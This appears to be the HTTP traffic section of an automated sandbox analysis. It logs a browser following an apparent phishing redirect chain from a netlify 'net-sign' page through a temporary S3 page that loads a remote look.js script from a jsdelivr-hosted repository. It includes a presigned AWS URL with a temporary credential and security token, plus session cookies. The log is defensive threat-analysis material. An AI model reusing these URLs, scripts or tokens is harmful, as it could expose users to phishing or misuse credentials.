Source: global traffic	HTTP traffic detected: GET /api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe5JwdHeuoYLCURJy7NdS9NN9MKK9lL0GOp4B8D2K6fGvi0efzJsYnlZn2%2BosTivmIfVX30vqv2AW6XOW2U9uGliWarjiXjNuotExj5437ZeIx8xhFF8Zr7csvSF6DUsPrOTLpeF4MeTUgvf4fEpcfifZPRayQwpq4Dpx0Bo6qBTdVygurvqdoKtLh3d3a8ZFM%2FosfJoEfua3qdrWvcffboFsPmQo9bZ6wUymB3I0Xh6V0R6qbj76sdw%3D&X-Amz-Signature=0ea277206857bb2c0e188b4380254958b20a0bf83fdbb17d230286a1b0327952 HTTP/1.1Host: temp-redirect-pagess.s3.eu-central-1.amazonaws.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://net-sign.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/vencillrina33/cssjs@refs/heads/main/look.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/vencillrina33/cssjs@refs/heads/main/css.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/vencillrina33/cssjs@refs/heads/main/look.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /300/150/?image=1037 HTTP/1.1Host: picsum.photosConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: imageReferer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //2.6.3/images/icon_light.f13cff3.png HTTP/1.1Host: cstaticdun.126.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.jsdelivr.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id/1037/300/150.jpg?hmac=vWoq0rMWMMztc0DtuvnRBEN7tEeE6OzGelVai8xdjrw HTTP/1.1Host: fastly.picsum.photosConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: imageReferer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id/1037/300/150.jpg?hmac=vWoq0rMWMMztc0DtuvnRBEN7tEeE6OzGelVai8xdjrw HTTP/1.1Host: fastly.picsum.photosConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: temp-redirect-pagess.s3.eu-central-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe5JwdHeuoYLCURJy7NdS9NN9MKK9lL0GOp4B8D2K6fGvi0efzJsYnlZn2%2BosTivmIfVX30vqv2AW6XOW2U9uGliWarjiXjNuotExj5437ZeIx8xhFF8Zr7csvSF6DUsPrOTLpeF4MeTUgvf4fEpcfifZPRayQwpq4Dpx0Bo6qBTdVygurvqdoKtLh3d3a8ZFM%2FosfJoEfua3qdrWvcffboFsPmQo9bZ6wUymB3I0Xh6V0R6qbj76sdw%3D&X-Amz-Signature=0ea277206857bb2c0e188b4380254958b20a0bf83fdbb17d230286a1b0327952Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //2.6.3/images/icon_light.f13cff3.png HTTP/1.1Host: cstaticdun.126.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bee58212-55f9-4f7c-994e-380751e3d646 HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /variables.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /static/js/2.1c7b426a.chunk.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /static/js/main.72acac30.chunk.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /variables.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /static/js/main.72acac30.chunk.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /api/embeds/bee58212-55f9-4f7c-994e-380751e3d646 HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /static/js/2.1c7b426a.chunk.js HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /PXeBumDLwe/main.min.js HTTP/1.1Host: client.px-cloud.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://embeds.beehiiv.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/8a57887573f2/main.js? HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /api/embeds/bee58212-55f9-4f7c-994e-380751e3d646 HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /img/beehiiv-logo.png HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /PXeBumDLwe/main.min.js HTTP/1.1Host: client.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns?c=b3ad1840-e4d4-11ef-a9cd-d91b8f7e323e HTTP/1.1Host: stk.px-cloud.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://embeds.beehiiv.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://embeds.beehiiv.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/8a57887573f2/main.js? HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /img/beehiiv-logo.png HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxebumdlwe.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/favicon.png HTTP/1.1Host: embeds.beehiiv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg; _px3=5ff4346966fd8c80b165bf33c4a177dec10ca7f6ee0b7eea058b68de9d70ff51:TqmuukEKMreARL3aOR94eqF45z15ZOpJCEcbN48qXAKobzVZxbzcwAInVa6itFvVMwZY3Xq0Ke6Nf6HYzT8j0w==:1000:0j629SolzYxn4mkLNWWEzu7xaXeiH9Av+aP33OcQKunOGR+SAj5XwfVTNcXNr+WSUMm9Zlg5peoiA2x6GSyhCb4MLTgq6zN9GdLtreKl3FPyS8+FydS/sYGHU9IylfJxTZrUVbXVbUJTdj52sxBxsXEyIjw18WHkWe+RlHMoammXw7D6vuZX0Ky84BQHQtCvd6PotB+q3kZl1gdh8dVKLHTSPQHVW6Egnv+jzk2Anqg=; pxcts=b4bd537d-e4d4-11ef-bf9a-9a1fe1432a03; _pxvid=b4bd43c9-e4d4-11ef-bf9a-1e4f7a051ae7
Source: global traffic	HTTP traffic detected: GET /ns?c=b3ad1840-e4d4-11ef-a9cd-d91b8f7e323e HTTP/1.1Host: stk.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/0.33639695702246186:1738876318:7xN6wdapsrpfvjfTjh9BqxRu1rfRSqETShmHg6T088I/90de5e7f7a38440d HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
